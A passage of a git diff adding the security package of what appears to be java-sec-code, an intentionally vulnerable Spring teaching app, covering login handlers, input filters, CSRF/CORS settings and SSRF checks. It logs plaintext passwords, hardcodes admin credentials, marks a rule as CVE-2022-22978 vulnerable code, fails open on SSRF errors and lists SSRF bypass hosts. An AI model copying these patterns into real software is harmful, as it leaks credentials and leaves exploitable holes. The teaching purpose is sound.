+import org.springframework.security.web.authentication.AuthenticationFailureHandler;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+
+
+public class LoginFailureHandler implements AuthenticationFailureHandler {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void onAuthenticationFailure(HttpServletRequest request,
+                                        HttpServletResponse response, AuthenticationException exception)
+                                        throws ServletException, IOException {
+
+        logger.info("Login failed. " + request.getRequestURL() +
+                " username: " + request.getParameter("username") +
+                " password: " + request.getParameter("password") );
+
+        response.setContentType(MediaType.APPLICATION_JSON_VALUE);
+        response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}");
+    }
+
+}
diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java
new file mode 100644
index 00000000..d588818b
--- /dev/null
+++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java
@@ -0,0 +1,51 @@
+package org.joychou.security;
+
+import com.alibaba.fastjson.JSON;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
+import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
+import org.springframework.security.web.savedrequest.SavedRequest;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class LoginSuccessHandler implements AuthenticationSuccessHandler {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void onAuthenticationSuccess(HttpServletRequest request,
+                                        HttpServletResponse response, Authentication authentication)
+                                        throws ServletException, IOException {
+
+        logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS.");
+
+        SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response);
+        String originUrl = "";
+        try {
+            originUrl = savedRequest.getRedirectUrl();
+        } catch (Exception e) {
+            logger.debug(e.toString());
+        }
+
+        if (savedRequest != null) {
+            logger.info("Original url is: " + originUrl);
+        }
+
+        Map<String, String> content = new HashMap<>();
+        content.put("code", "0");
+        content.put("message", "Login success");
+        content.put("redirectUrl", originUrl);
+        // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect
+        response.setContentType(MediaType.APPLICATION_JSON_VALUE);
+        response.getWriter().write(JSON.toJSONString(content));
+    }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
new file mode 100644
index 00000000..fef14593
--- /dev/null
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -0,0 +1,253 @@
+package org.joychou.security;
+
+import org.joychou.config.WebConfig;
+import org.joychou.security.ssrf.SSRFChecker;
+import org.joychou.security.ssrf.SocketHook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URLDecoder;
+import java.util.ArrayList;
+import java.util.regex.Pattern;
+
+
+public class SecurityUtil {
+
+    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
+    private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+
+
+    /**
+     * Determine if the URL starts with HTTP.
+     *
+     * @param url url
+     * @return true or false
+     */
+    public static boolean isHttp(String url) {
+        return url.startsWith("http://") || url.startsWith("https://");
+    }
+
+
+    /**
+     * Get http url host.
+     *
+     * @param url url
+     * @return host
+     */
+    public static String gethost(String url) {
+        try {
+            URI uri = new URI(url);
+            return uri.getHost().toLowerCase();
+        } catch (URISyntaxException e) {
+            return "";
+        }
+    }
+
+
+    /**
+     * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
+     * 优先判断黑名单,如果满足黑名单return null。
+     *
+     * @param url the url need to check
+     * @return Safe url returns original url; Illegal url returns null;
+     */
+    public static String checkURL(String url) {
+
+        if (null == url){
+            return null;
+        }
+
+        ArrayList<String> safeDomains = WebConfig.getSafeDomains();
+        ArrayList<String> blockDomains = WebConfig.getBlockDomains();
+
+        try {
+            String host = gethost(url);
+
+            // 必须http/https
+            if (!isHttp(url)) {
+                return null;
+            }
+
+            // 如果满足黑名单返回null
+            if (blockDomains.contains(host)){
+                return null;
+            }
+            for(String blockDomain: blockDomains) {
+                if(host.endsWith("." + blockDomain)) {
+                    return null;
+                }
+            }
+
+            // 支持多级域名
+            if (safeDomains.contains(host)){
+                return url;
+            }
+
+            // 支持一级域名
+            for(String safedomain: safeDomains) {
+                if(host.endsWith("." + safedomain)) {
+                    return url;
+                }
+            }
+            return null;
+        } catch (NullPointerException e) {
+            logger.error(e.toString());
+            return null;
+        }
+    }
+
+
+    /**
+     * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。
+     * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。
+     *
+     * @author JoyChou @ 2020-03-30
+     * @param url 需要校验的url
+     * @return Safe url returns true. Dangerous url returns false.
+     */
+    public static boolean checkSSRFByWhitehosts(String url) {
+        return SSRFChecker.checkURLFckSSRF(url);
+    }
+
+
+    /**
+     * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
+     * 存在的问题:
+     *   1、会主动发起请求,可能会有性能问题
+     *   2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
+     *   3、TTL设置为0会被绕过
+     *
+     * @param url check的url
+     * @return 安全返回true,危险返回false
+     */
+    @Deprecated
+    public static boolean checkSSRF(String url) {
+        int checkTimes = 10;
+        return SSRFChecker.checkSSRF(url, checkTimes);
+    }
+
+
+    /**
+     * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
+     * 存在问题:
+     *  1、TTL为0会被绕过
+     *  2、使用重定向可绕过
+     *
+     * @param url The url that needs to check.
+     * @return Safe url returns true. Dangerous url returns false.
+     */
+    public static boolean checkSSRFWithoutRedirect(String url) {
+        if(url == null) {
+            return false;
+        }
+        return !SSRFChecker.isInternalIpByUrl(url);
+    }
+
+    /**
+     * Check ssrf by hook socket. Start socket hook.
+     *
+     * @author liergou @ 2020-04-04 02:15
+     */
+    public static void startSSRFHook() throws IOException {
+        SocketHook.startHook();
+    }
+
+    /**
+     * Close socket hook.
+     *
+     * @author liergou @ 2020-04-04 02:15
+     **/
+    public static void stopSSRFHook(){
+        SocketHook.stopHook();
+    }
+
+
+
+    /**
+     * Filter file path to prevent path traversal vulns.
+     *
+     * @param filepath file path
+     * @return illegal file path return null
+     */
+    public static String pathFilter(String filepath) {
+        String temp = filepath;
+
+        // use while to sovle multi urlencode
+        while (temp.indexOf('%') != -1) {
+            try {
+                temp = URLDecoder.decode(temp, "utf-8");
+            } catch (UnsupportedEncodingException e) {
+                logger.info("Unsupported encoding exception: " + filepath);
+                return null;
+            } catch (Exception e) {
+                logger.info(e.toString());
+                return null;
+            }
+        }
+
+        if (temp.contains("..") || temp.charAt(0) == '/') {
+            return null;
+        }
+
+        return filepath;
+    }
+
+
+    public static String cmdFilter(String input) {
+        if (!FILTER_PATTERN.matcher(input).matches()) {
+            return null;
+        }
+
+        return input;
+    }
+
+
+    /**
+     * 过滤mybatis中order by不能用#的情况。
+     * 严格限制用户输入只能包含<code>a-zA-Z0-9_-.</code>字符。
+     *
+     * @param sql sql
+     * @return 安全sql,否则返回null
+     */
+    public static String sqlFilter(String sql) {
+        if (!FILTER_PATTERN.matcher(sql).matches()) {
+            return null;
+        }
+        return sql;
+    }
+
+    /**
+     * 将非<code>0-9a-zA-Z/-.</code>的字符替换为空
+     *
+     * @param str 字符串
+     * @return 被过滤的字符串
+     */
+    public static String replaceSpecialStr(String str) {
+        StringBuilder sb = new StringBuilder();
+        str = str.toLowerCase();
+        for(int i = 0; i < str.length(); i++) {
+            char ch = str.charAt(i);
+            // 如果是0-9
+            if (ch >= 48 && ch <= 57 ){
+                sb.append(ch);
+            }
+            // 如果是a-z
+            else if(ch >= 97 && ch <= 122) {
+                sb.append(ch);
+            }
+            else if(ch == '/' || ch == '.' || ch == '-'){
+                sb.append(ch);
+            }
+        }
+
+        return sb.toString();
+    }
+
+    public static void main(String[] args) {
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
new file mode 100644
index 00000000..414fd24d
--- /dev/null
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -0,0 +1,118 @@
+package org.joychou.security;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+
+import javax.servlet.http.HttpServletRequest;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+
+
+/**
+ * Congifure csrf
+ *
+ */
+@EnableWebSecurity
+@Configuration
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+
+    @Value("${joychou.security.csrf.enabled}")
+    private Boolean csrfEnabled = false;
+
+    @Value("${joychou.security.csrf.exclude.url}")
+    private String[] csrfExcludeUrl;
+
+
+    @Value("${joychou.no.need.login.url}")
+    private String[] noNeedLoginUrl;
+
+
+    @Value("${joychou.security.csrf.method}")
+    private String[] csrfMethod = {"POST"};
+
+    private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+
+        @Override
+        public boolean matches(HttpServletRequest request) {
+
+            // 配置需要CSRF校验的请求方式,
+            HashSet<String> allowedMethods = new HashSet<>(Arrays.asList(csrfMethod));
+            // return false表示不校验csrf
+            if (!csrfEnabled) {
+                return false;
+            }
+            return allowedMethods.contains(request.getMethod());
+        }
+
+    };
+
+    @Override
+    protected void configure(HttpSecurity http) throws Exception {
+        // 默认token存在session里,用CookieCsrfTokenRepository改为token存在cookie里。
+        // 但存在后端多台服务器情况,session不能同步的问题,所以一般使用cookie模式。
+        http.csrf()
+                .requireCsrfProtectionMatcher(csrfRequestMatcher)
+                .ignoringAntMatchers(csrfExcludeUrl)  // 不进行csrf校验的uri,多个uri使用逗号分隔
+                .csrfTokenRepository(new CookieCsrfTokenRepository());
+        http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
+
+        // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
+
+        http.cors();
+
+        // spring security login settings
+        http.authorizeRequests()
+                .antMatchers(noNeedLoginUrl).permitAll() // no need to login page
+                // CVE-2022-22978漏洞代码
+                .regexMatchers("/black_path.*").denyAll()    // 如果正则匹配到/black_path,则forbidden
+                .anyRequest().authenticated().and() // any request authenticated except above static resources
+                .formLogin().loginPage("/login").permitAll() // permit all to access /login page
+                .successHandler(new LoginSuccessHandler())
+                .failureHandler(new LoginFailureHandler()).and()
+                .logout().logoutUrl("/logout").permitAll().and()
+                // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。
+                .rememberMe();
+    }
+
+    /**
+     * Global cors configure
+     */
+    @Bean
+    CorsConfigurationSource corsConfigurationSource()
+    {
+        // Set cors origin white list
+        ArrayList<String> allowOrigins = new ArrayList<>();
+        allowOrigins.add("joychou.org");
+        allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。
+
+        CorsConfiguration configuration = new CorsConfiguration();
+        configuration.setAllowedOrigins(allowOrigins);
+        configuration.setAllowCredentials(true);
+        configuration.setAllowedMethods(Arrays.asList("GET", "POST"));
+        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+        source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style
+        return source;
+    }
+
+    @Autowired
+    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+        auth
+                .inMemoryAuthentication()
+                .withUser("joychou").password("joychou123").roles("USER").and()
+                .withUser("admin").password("admin123").roles("USER", "ADMIN");
+    }
+}
+
+
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
new file mode 100644
index 00000000..c2b3896a
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -0,0 +1,303 @@
+package org.joychou.security.ssrf;
+
+import java.net.HttpURLConnection;
+import java.net.InetAddress;
+import java.net.URI;
+import java.net.URL;
+import java.util.ArrayList;
+
+import org.apache.commons.lang.StringUtils;
+import org.apache.commons.net.util.SubnetUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+public class SSRFChecker {
+
+    private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+    private static String decimalIp;
+
+    public static boolean checkURLFckSSRF(String url) {
+        if (null == url) {
+            return false;
+        }
+
+        ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
+        try {
+            String host = SecurityUtil.gethost(url);
+
+            // 必须http/https
+            if (!SecurityUtil.isHttp(url)) {
+                return false;
+            }
+
+            if (ssrfSafeDomains.contains(host)) {
+                return true;
+            }
+            for (String ssrfSafeDomain : ssrfSafeDomains) {
+                if (host.endsWith("." + ssrfSafeDomain)) {
+                    return true;
+                }
+            }
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return false;
+        }
+        return false;
+    }
+
+    /**
+     * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
+     * url只允许https或者http,并且设置默认连接超时时间。
+     * 该修复方案会主动请求重定向后的链接。
+     *
+     * @param url        check的url
+     * @param checkTimes 设置重定向检测的最大次数,建议设置为10次
+     * @return 安全返回true,危险返回false
+     */
+    public static boolean checkSSRF(String url, int checkTimes) {
+
+        HttpURLConnection connection;
+        int connectTime = 5 * 1000;  // 设置连接超时时间5s
+        int i = 1;
+        String finalUrl = url;
+        try {
+            do {
+                // 判断当前请求的URL是否是内网ip
+                if (isInternalIpByUrl(finalUrl)) {
+                    logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
+                    return false;  // 内网ip直接return,非内网ip继续判断是否有重定向
+                }
+
+                connection = (HttpURLConnection) new URL(finalUrl).openConnection();
+                connection.setInstanceFollowRedirects(false);
+                connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
+                connection.setConnectTimeout(connectTime);
+                //connection.setRequestMethod("GET");
+                connection.connect(); // send dns request
+                int responseCode = connection.getResponseCode(); // 发起网络请求
+                if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
+                    String redirectedUrl = connection.getHeaderField("Location");
+                    if (null == redirectedUrl)
+                        break;
+                    finalUrl = redirectedUrl;
+                    i += 1;  // 重定向次数加1
+                    logger.info("redirected url: " + finalUrl);
+                    if (i == checkTimes) {
+                        return false;
+                    }
+                } else
+                    break;
+            } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
+            connection.disconnect();
+        } catch (Exception e) {
+            return true;  // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。
+        }
+        return true; // 默认返回true
+    }
+
+
+    /**
+     * 判断一个URL的IP是否是内网IP
+     *
+     * @return 如果是内网IP,返回true;非内网IP,返回false。
+     */
+    public static boolean isInternalIpByUrl(String url) {
+
+        String host = url2host(url);
+        if (host.equals("")) {
+            return true; // 异常URL当成内网IP等非法URL处理
+        }
+
+        String ip = host2ip(host);
+        if (ip.equals("")) {
+            return true; // 如果域名转换为IP异常,则认为是非法URL
+        }
+
+        return isInternalIp(ip);
+    }
+
+
+    /**
+     * 使用SubnetUtils库判断ip是否在内网网段
+     *
+     * @param strIP ip字符串
+     * @return 如果是内网ip,返回true,否则返回false。
+     */
+    public static boolean isInternalIp(String strIP) {
+        if (StringUtils.isEmpty(strIP)) {
+            logger.error("[-] SSRF check failed. IP is empty. " + strIP);
+            return true;
+        }
+
+        ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();
+        for (String subnet : blackSubnets) {
+            SubnetUtils utils = new SubnetUtils(subnet);
+            if (utils.getInfo().isInRange(strIP)) {
+                logger.error("[-] SSRF check failed. Internal IP: " + strIP);
+                return true;
+            }
+        }
+
+        return false;
+
+    }
+
+
+    /**
+     * Convert host to decimal ip.
+     * Since there is a bypass in octal using {@link InetAddress#getHostAddress()},
+     * the function of converting octal to decimal is added.
+     * If it still can be bypassed, please submit
+     * <a href="https://github.com/JoyChou93/java-sec-code/pulls">PullRequests</a> or
+     * <a href="https://github.com/JoyChou93/java-sec-code/issues">Issues</a>.<br>
+     *
+     * <p>Normal:</p>
+     * <ul>
+     *    <li>69299689 to 10.23.78.233</li>
+     *    <li>012.0x17.78.233 to 10.23.78.233 </li>
+     *    <li>012.027.0116.0351 to 10.23.78.233</li>
+     *    <li>127.0.0.1.xip.io to 127.0.0.1</li>
+     *    <li>127.0.0.1.nip.io to 127.0.0.1</li>
+     * </ul>
+
+     * <p>Bypass: </p>
+     * <ul>
+     *     <li>01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233</li>
+     *     <li>012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233</li>
+     *     <li>012.23.233 {@link InetAddress#getHostAddress()} result is  12.23.0.233, actually 10.23.0.233</li>
+     *     <li>012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233</li>
+     * </ul>
+     * @return decimal ip
+     */
+    public static String host2ip(String host) {
+
+        if (null == host) {
+            return "";
+        }
+
+         // convert octal to decimal
+         if(isOctalIP(host)) {
+             host = decimalIp;
+         }
+
+        try {
+            // send dns request
+            InetAddress IpAddress = InetAddress.getByName(host);
+            return IpAddress.getHostAddress();
+        } catch (Exception e) {
+            logger.error("host2ip exception " + e.getMessage());
+            return "";
+        }
+    }
+
+
+    /**
+     * Check whether the host is an octal IP, if so, convert it to decimal.
+     * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+     */
+    public static boolean isOctalIP(String host) {
+        try{
+            String[] ipParts = host.split("\\.");
+            StringBuilder newDecimalIP = new StringBuilder();
+            boolean is_octal = false;
+
+            // Octal ip only has number and dot character.
+            if (isNumberOrDot(host)) {
+
+                // not support ipv6
+                if (ipParts.length > 4) {
+                    logger.error("Illegal ipv4: " + host);
+                    return false;
+                }
+
+                // 01205647351
+                if( ipParts.length == 1 && host.startsWith("0") ) {
+                    decimalIp = Integer.valueOf(host, 8).toString();
+                    return true;
+                }
+
+                // 012.23.78.233
+                for(String ip : ipParts) {
+                    if (!isNumber(ip)){
+                        logger.error("Illegal ipv4: " + host);
+                        return false;
+                    }
+                    // start with "0", but not "0"
+                    if (ip.startsWith("0") && !ip.equals("0")) {
+                        if (Integer.valueOf(ip, 8) >= 256){
+                            logger.error("Illegal ipv4: " + host);
+                            return false;
+                        }
+                        newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+                        is_octal = true;
+                    }else{
+                        if (Integer.valueOf(ip, 10) >= 256) {
+                            logger.error("Illegal ipv4: " + host);
+                            return false;
+                        }
+                        newDecimalIP.append(ip).append(".");
+                    }
+                }
+                // delete last char .
+                decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+            }
+            return is_octal;
+        } catch (Exception e){
+            logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+            return false;
+        }
+
+    }
+
+    /**
+     * Check string is a number.
+     * @return If string is a number 0-9, return true. Otherwise, return false.
+     */
+    private static boolean isNumber(String str) {
+        if (null == str || "".equals(str)) {
+            return false;
+        }
+        for (int i = 0; i < str.length(); i++) {
+            char ch = str.charAt(i);
+            if (ch < '0' || ch > '9') {
+                return false;
+            }
+        }
+        return true;
+    }
+
+
+    /**
+     * Check string is a number or dot.
+     * @return If string is a number or a dot, return true. Otherwise, return false.
+     */
+    private static boolean isNumberOrDot(String s) {
+        for (int i = 0; i < s.length(); i++) {
+            char ch = s.charAt(i);
+            if ((ch < '0' || ch > '9') && ch != '.'){
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Get host from URL which the protocol must be http:// or https:// and not be //.
+     */
+    private static String url2host(String url) {
+        try {
+            // use URI instead of URL
+            URI u = new URI(url);
+            if (SecurityUtil.isHttp(url)) {
+                return u.getHost();
+            }
+            return "";
+        } catch (Exception e) {
+            return "";
+        }
+    }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..817c881e
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+public class SSRFException extends RuntimeException {
+
+    SSRFException(String s) {
+        super(s);
+    }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
new file mode 100644
index 00000000..4ce3509c
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+
+/**
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+    public static void startHook() throws IOException {
+        SocketHookFactory.initSocket();
+        SocketHookFactory.setHook(true);
+        try{
+            Socket.setSocketImplFactory(new SocketHookFactory());
+        }catch (SocketException ignored){
+        }
+    }
+
+    public static void stopHook(){
+        SocketHookFactory.setHook(false);
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..dc6d951d
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,88 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+    private static Boolean isHook = false;
+    private static Constructor socketConstructor = null;
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    /**
+     * @param set hook switch
+     */
+    static void setHook(Boolean set) {
+        isHook = set;
+    }
+
+
+    static void initSocket() {
+
+        if (socketConstructor != null) {
+            return;
+        }
+
+        Socket socket = new Socket();
+        try {
+            // get impl field in Socket class
+            Field implField = Socket.class.getDeclaredField("impl");
+            implField.setAccessible(true);
+            Class<?> clazz = implField.get(socket).getClass();
+
+            SocketHookImpl.initSocketImpl(clazz);
+            socketConstructor = clazz.getDeclaredConstructor();
+            socketConstructor.setAccessible(true);
+
+        } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+            throw new SSRFException("SocketHookFactory init failed!");
+        }
+
+        try {
+            socket.close();
+        } catch (IOException ignored) {
+
+        }
+    }
+
+
+    public SocketImpl createSocketImpl() {
+
+        if (isHook) {
+            try {
+                return new SocketHookImpl(socketConstructor);
+            } catch (Exception e) {
+                logger.error("Socket hook failed!");
+                try {
+                    return (SocketImpl) socketConstructor.newInstance();
+                } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+                    logger.error(ex.toString());
+                }
+            }
+        } else {
+            try {
+                return (SocketImpl) socketConstructor.newInstance();
+            } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+                logger.error(e.toString());
+            }
+        }
+
+        return null;
+    }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..799ca0e5
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,269 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+    private static Boolean isInit = false;
+
+    private static SocketImpl socketImpl = null;
+    private static Method createImpl;
+    private static Method connectHostImpl;
+    private static Method connectInetAddressImpl;
+    private static Method connectSocketAddressImpl;
+    private static Method bindImpl;
+    private static Method listenImpl;
+    private static Method acceptImpl;
+    private static Method getInputStreamImpl;
+    private static Method getOutputStreamImpl;
+    private static Method availableImpl;
+    private static Method closeImpl;
+    private static Method shutdownInputImpl;
+    private static Method shutdownOutputImpl;
+    private static Method sendUrgentDataImpl;
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+            InvocationTargetException, InstantiationException {
+        socketImpl = (SocketImpl) socketConstructor.newInstance();
+    }
+
+
+    /**
+     * Init reflect method.
+     *
+     * @author liergou
+     */
+    static void initSocketImpl(Class<?> initSocketImpl) {
+
+        if (initSocketImpl == null) {
+            SocketHookFactory.setHook(false);
+            throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+        }
+        
+        if (!isInit) {
+            createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class<?>[]{boolean.class});
+            connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{String.class, int.class});
+            connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{InetAddress.class, int.class});
+            connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{SocketAddress.class, int.class});
+            bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class<?>[]{InetAddress.class, int.class});
+            listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class<?>[]{int.class});
+            acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class<?>[]{SocketImpl.class});
+            getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class<?>[]{});
+            getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class<?>[]{});
+            availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class<?>[]{});
+            closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class<?>[]{});
+            shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class<?>[]{});
+            shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class<?>[]{});
+            sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class<?>[]{int.class});
+            isInit = true;
+        }
+    }
+
+
+    /**
+     * socket base method impl
+     */
+    @Override
+    protected void create(boolean stream) {
+        try {
+            createImpl.invoke(socketImpl, stream);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+
+    @Override
+    protected void connect(String host, int port) {
+        logger.info("host: " + host + "\tport: " + port);
+        try {
+            connectHostImpl.invoke(socketImpl, host, port);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+
+    @Override
+    protected void connect(InetAddress address, int port) {
+
+        logger.info("InetAddress: " + address.toString());
+
+        try {
+            if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+                throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+            }
+            connectInetAddressImpl.invoke(socketImpl, address, port);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void connect(SocketAddress address, int timeout) {
+
+        // convert SocketAddress to InetSocketAddress
+        InetSocketAddress addr = (InetSocketAddress) address;
+
+        String ip = addr.getAddress().getHostAddress();
+        String host = addr.getHostName();
+        logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+        try {
+            if (SSRFChecker.isInternalIp(ip)) {
+                throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+            }
+            connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+        } catch (IllegalAccessException | IllegalArgumentException |
+                InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void bind(InetAddress host, int port) {
+        try {
